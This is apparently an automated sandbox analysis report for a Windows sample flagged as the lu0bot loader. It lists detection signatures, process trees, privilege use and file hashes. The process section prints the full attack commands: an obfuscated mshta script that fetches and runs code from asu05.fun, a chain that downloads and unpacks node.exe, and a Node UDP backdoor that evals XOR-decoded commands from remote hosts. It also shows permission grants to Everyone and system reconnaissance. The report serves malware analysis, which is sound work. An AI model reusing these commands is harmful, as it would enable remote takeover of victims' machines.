Analysis
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max time kernel
149s -
max time network
184s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
28-07-2021 13:06
Static task
static1
Behavioral task
behavioral1
Sample
eufive_20210728-150311.exe
Resource
win7v20210408
General
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Target
eufive_20210728-150311.exe
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Size
3KB
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MD5
fad837e4ca6d812d41eb543a9fd06e1f
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SHA1
efb7c567194b1de7b8cadd5f42296858af1bcec0
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SHA256
b31bfcf253f43c08bdd92beb319b394c122400f4da864a47d5ac086e913ebffc
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SHA512
78deb668d77cd154301282029bbf0b696b81457fb747735c31661b730a5c5a7485f814e12f0fb8a5dd27bab04aac5c6f6d739225bfbc769910f7403a6a52c5eb
Malware Config
Signatures
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suricata: ET MALWARE lu0bot Loader HTTP Request
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suricata: ET MALWARE lu0bot Loader HTTP Response
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Blocklisted process makes network request 2 IoCs
Processes:
mshta.execscript.exeflow pid process 3 1324 mshta.exe 4 1960 cscript.exe -
Executes dropped EXE 1 IoCs
Processes:
node.exepid process 1796 node.exe -
Loads dropped DLL 1 IoCs
Processes:
cscript.exepid process 1072 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
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Drops file in Windows directory 2 IoCs
Processes:
expand.exedescription ioc process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
node.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
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Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
Processes:
ipconfig.exenetstat.exepid process 1956 ipconfig.exe 1544 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
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NTFS ADS 2 IoCs
Processes:
node.exedescription ioc process File created C:\Users\Admin\AppData\Local\Temp\d824645a17ee763c:ads node.exe File created C:\ProgramData\DNTException\node.exe:e82aa242d360833918d9707a27ea3dff node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
node.exepid process 1796 node.exe 1796 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
Processes:
tasklist.exewmic.exenetstat.exedescription pid process Token: SeDebugPrivilege 1268 tasklist.exe Token: SeIncreaseQuotaPrivilege 1660 wmic.exe Token: SeSecurityPrivilege 1660 wmic.exe Token: SeTakeOwnershipPrivilege 1660 wmic.exe Token: SeLoadDriverPrivilege 1660 wmic.exe Token: SeSystemProfilePrivilege 1660 wmic.exe Token: SeSystemtimePrivilege 1660 wmic.exe Token: SeProfSingleProcessPrivilege 1660 wmic.exe Token: SeIncBasePriorityPrivilege 1660 wmic.exe Token: SeCreatePagefilePrivilege 1660 wmic.exe Token: SeBackupPrivilege 1660 wmic.exe Token: SeRestorePrivilege 1660 wmic.exe Token: SeShutdownPrivilege 1660 wmic.exe Token: SeDebugPrivilege 1660 wmic.exe Token: SeSystemEnvironmentPrivilege 1660 wmic.exe Token: SeRemoteShutdownPrivilege 1660 wmic.exe Token: SeUndockPrivilege 1660 wmic.exe Token: SeManageVolumePrivilege 1660 wmic.exe Token: 33 1660 wmic.exe Token: 34 1660 wmic.exe Token: 35 1660 wmic.exe Token: SeIncreaseQuotaPrivilege 1660 wmic.exe Token: SeSecurityPrivilege 1660 wmic.exe Token: SeTakeOwnershipPrivilege 1660 wmic.exe Token: SeLoadDriverPrivilege 1660 wmic.exe Token: SeSystemProfilePrivilege 1660 wmic.exe Token: SeSystemtimePrivilege 1660 wmic.exe Token: SeProfSingleProcessPrivilege 1660 wmic.exe Token: SeIncBasePriorityPrivilege 1660 wmic.exe Token: SeCreatePagefilePrivilege 1660 wmic.exe Token: SeBackupPrivilege 1660 wmic.exe Token: SeRestorePrivilege 1660 wmic.exe Token: SeShutdownPrivilege 1660 wmic.exe Token: SeDebugPrivilege 1660 wmic.exe Token: SeSystemEnvironmentPrivilege 1660 wmic.exe Token: SeRemoteShutdownPrivilege 1660 wmic.exe Token: SeUndockPrivilege 1660 wmic.exe Token: SeManageVolumePrivilege 1660 wmic.exe Token: 33 1660 wmic.exe Token: 34 1660 wmic.exe Token: 35 1660 wmic.exe Token: SeDebugPrivilege 1544 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
eufive_20210728-150311.exemshta.execmd.execscript.exenode.exedescription pid process target process PID 2016 wrote to memory of 1324 2016 eufive_20210728-150311.exe mshta.exe PID 2016 wrote to memory of 1324 2016 eufive_20210728-150311.exe mshta.exe PID 2016 wrote to memory of 1324 2016 eufive_20210728-150311.exe mshta.exe PID 2016 wrote to memory of 1324 2016 eufive_20210728-150311.exe mshta.exe PID 1324 wrote to memory of 1712 1324 mshta.exe cmd.exe PID 1324 wrote to memory of 1712 1324 mshta.exe cmd.exe PID 1324 wrote to memory of 1712 1324 mshta.exe cmd.exe PID 1324 wrote to memory of 1712 1324 mshta.exe cmd.exe PID 1712 wrote to memory of 1960 1712 cmd.exe cscript.exe PID 1712 wrote to memory of 1960 1712 cmd.exe cscript.exe PID 1712 wrote to memory of 1960 1712 cmd.exe cscript.exe PID 1712 wrote to memory of 1960 1712 cmd.exe cscript.exe PID 1712 wrote to memory of 700 1712 cmd.exe expand.exe PID 1712 wrote to memory of 700 1712 cmd.exe expand.exe PID 1712 wrote to memory of 700 1712 cmd.exe expand.exe PID 1712 wrote to memory of 700 1712 cmd.exe expand.exe PID 1712 wrote to memory of 1072 1712 cmd.exe cscript.exe PID 1712 wrote to memory of 1072 1712 cmd.exe cscript.exe PID 1712 wrote to memory of 1072 1712 cmd.exe cscript.exe PID 1712 wrote to memory of 1072 1712 cmd.exe cscript.exe PID 1072 wrote to memory of 1796 1072 cscript.exe node.exe PID 1072 wrote to memory of 1796 1072 cscript.exe node.exe PID 1072 wrote to memory of 1796 1072 cscript.exe node.exe PID 1072 wrote to memory of 1796 1072 cscript.exe node.exe PID 1796 wrote to memory of 328 1796 node.exe cmd.exe PID 1796 wrote to memory of 328 1796 node.exe cmd.exe PID 1796 wrote to memory of 328 1796 node.exe cmd.exe PID 1796 wrote to memory of 328 1796 node.exe cmd.exe PID 1796 wrote to memory of 1348 1796 node.exe cacls.exe PID 1796 wrote to memory of 1348 1796 node.exe cacls.exe PID 1796 wrote to memory of 1348 1796 node.exe cacls.exe PID 1796 wrote to memory of 1348 1796 node.exe cacls.exe PID 1796 wrote to memory of 1648 1796 node.exe icacls.exe PID 1796 wrote to memory of 1648 1796 node.exe icacls.exe PID 1796 wrote to memory of 1648 1796 node.exe icacls.exe PID 1796 wrote to memory of 1648 1796 node.exe icacls.exe PID 1796 wrote to memory of 924 1796 node.exe attrib.exe PID 1796 wrote to memory of 924 1796 node.exe attrib.exe PID 1796 wrote to memory of 924 1796 node.exe attrib.exe PID 1796 wrote to memory of 924 1796 node.exe attrib.exe PID 1796 wrote to memory of 1876 1796 node.exe attrib.exe PID 1796 wrote to memory of 1876 1796 node.exe attrib.exe PID 1796 wrote to memory of 1876 1796 node.exe attrib.exe PID 1796 wrote to memory of 1876 1796 node.exe attrib.exe PID 1796 wrote to memory of 1268 1796 node.exe tasklist.exe PID 1796 wrote to memory of 1268 1796 node.exe tasklist.exe PID 1796 wrote to memory of 1268 1796 node.exe tasklist.exe PID 1796 wrote to memory of 1268 1796 node.exe tasklist.exe PID 1796 wrote to memory of 1660 1796 node.exe wmic.exe PID 1796 wrote to memory of 1660 1796 node.exe wmic.exe PID 1796 wrote to memory of 1660 1796 node.exe wmic.exe PID 1796 wrote to memory of 1660 1796 node.exe wmic.exe PID 1796 wrote to memory of 1956 1796 node.exe ipconfig.exe PID 1796 wrote to memory of 1956 1796 node.exe ipconfig.exe PID 1796 wrote to memory of 1956 1796 node.exe ipconfig.exe PID 1796 wrote to memory of 1956 1796 node.exe ipconfig.exe PID 1796 wrote to memory of 1688 1796 node.exe route.exe PID 1796 wrote to memory of 1688 1796 node.exe route.exe PID 1796 wrote to memory of 1688 1796 node.exe route.exe PID 1796 wrote to memory of 1688 1796 node.exe route.exe PID 1796 wrote to memory of 1544 1796 node.exe netstat.exe PID 1796 wrote to memory of 1544 1796 node.exe netstat.exe PID 1796 wrote to memory of 1544 1796 node.exe netstat.exe PID 1796 wrote to memory of 1544 1796 node.exe netstat.exe -
Views/modifies file attributes 1 TTPs 2 IoCs
Processes:
attrib.exeattrib.exepid process 924 attrib.exe 1876 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\eufive_20210728-150311.exe"C:\Users\Admin\AppData\Local\Temp\eufive_20210728-150311.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();139;y=unescape('%315%7Eh%74t%70%3A%2F%2F%61s%750%35%2E%66u%6E%2F%68r%69%2F%3F2%66e%32e%32b%7E1').split('~');45;try{x='WinHttp';246;x=new ActiveXObject(x+'.'+x+'Request.5.1');132;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);222;x.send();68;y='ipt.S';234;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);208;}catch(e){};13;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1627477628323.txt & cscript /nologo /e:jscript get1627477628323.txt "http%3A%2F%2Fasu05.fun%2Fhri%2F%3F2903a9f53%26b%3D4491c685" node.cab & expand node.cab node.exe & del get1627477628323.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1627477628323.txt & cscript /nologo /e:jscript get1627477628323.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27903a9f53%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1627477628323.txt3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1627477628323.txt "http%3A%2F%2Fasu05.fun%2Fhri%2F%3F2903a9f53%26b%3D4491c685" node.cab4⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1627477628323.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27903a9f53%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27903a9f53%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\ProgramData\DNTException\get1627477628323.txtMD5
52ec5ebd8a447b5115ce83e703bcde51
SHA138ce97f87c6be668d07985558fc89c53e27770a3
SHA256ef1be6a77e480e683331052654d3db47a02fe4b7af3e35e67b9248e989307615
SHA5129af71d426564ef92ff6de1d89107161c138bbdd9dc08b5e380a0b94e7b2e91ec4d498a1d8f4514552a45bf14a8f9078dc295aa1cb86cfc063427ad218e9d5f32
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C:\ProgramData\DNTException\get1627477628323.txtMD5
e15f82747d0884d61a5bc4fb2db7d29d
SHA1aca478622586f17603fe56705fd319b75198b2b0
SHA256982675d0465497986b3ece89f08f81a4629d975617671153e0ca653f2589966f
SHA512d8c17e54cbefa72191c238f23d619a4637fd74c8c8b9975071bf5507c5a34259495cd20e516c7f7f0c215ec4f724b22de88b8a5ea43765c019eb067600cf661d
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C:\ProgramData\DNTException\node.cabMD5
c7ed3d9304a29c8b472174bd910be071
SHA122b7d55b80acd434c13b0a2d8c59b45c10220a42
SHA256abbaffb1b56bd3c5db5aedf4bdc0794d82bedba43677d13cd1056cb5412b3441
SHA512c65c80564019ae54145a939f9ed463895c337f020cbd769647dc6baf8db5db283a5e151c2ae4f10681d23db161d791ce59c395d8ebba603a27a2a6be0368a1a2
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C:\ProgramData\DNTException\node.exeMD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f
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C:\ProgramData\DNTException\node.exeMD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f
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\ProgramData\DNTException\node.exeMD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f
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memory/328-80-0x0000000000000000-mapping.dmp
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memory/700-65-0x0000000000000000-mapping.dmp
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memory/796-91-0x0000000000000000-mapping.dmp
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memory/924-83-0x0000000000000000-mapping.dmp
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memory/1072-67-0x0000000000000000-mapping.dmp
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memory/1268-85-0x0000000000000000-mapping.dmp
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memory/1324-60-0x0000000000000000-mapping.dmp
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memory/1348-81-0x0000000000000000-mapping.dmp
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memory/1544-90-0x0000000000000000-mapping.dmp
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memory/1648-82-0x0000000000000000-mapping.dmp
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memory/1660-86-0x0000000000000000-mapping.dmp
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memory/1688-89-0x0000000000000000-mapping.dmp
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memory/1712-61-0x0000000000000000-mapping.dmp
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memory/1796-76-0x000000000C500000-0x000000000C501000-memory.dmpFilesize
4KB
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memory/1796-75-0x0000000036600000-0x0000000036601000-memory.dmpFilesize
4KB
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memory/1796-74-0x000000002FA00000-0x000000002FA01000-memory.dmpFilesize
4KB
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memory/1796-72-0x0000000000000000-mapping.dmp
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memory/1796-77-0x0000000037B00000-0x0000000037B01000-memory.dmpFilesize
4KB
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memory/1796-79-0x000000000FC00000-0x000000000FC01000-memory.dmpFilesize
4KB
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memory/1796-78-0x0000000026700000-0x0000000026701000-memory.dmpFilesize
4KB
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memory/1876-84-0x0000000000000000-mapping.dmp
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memory/1956-87-0x0000000000000000-mapping.dmp
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memory/1960-64-0x00000000754F1000-0x00000000754F3000-memory.dmpFilesize
8KB
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memory/1960-62-0x0000000000000000-mapping.dmp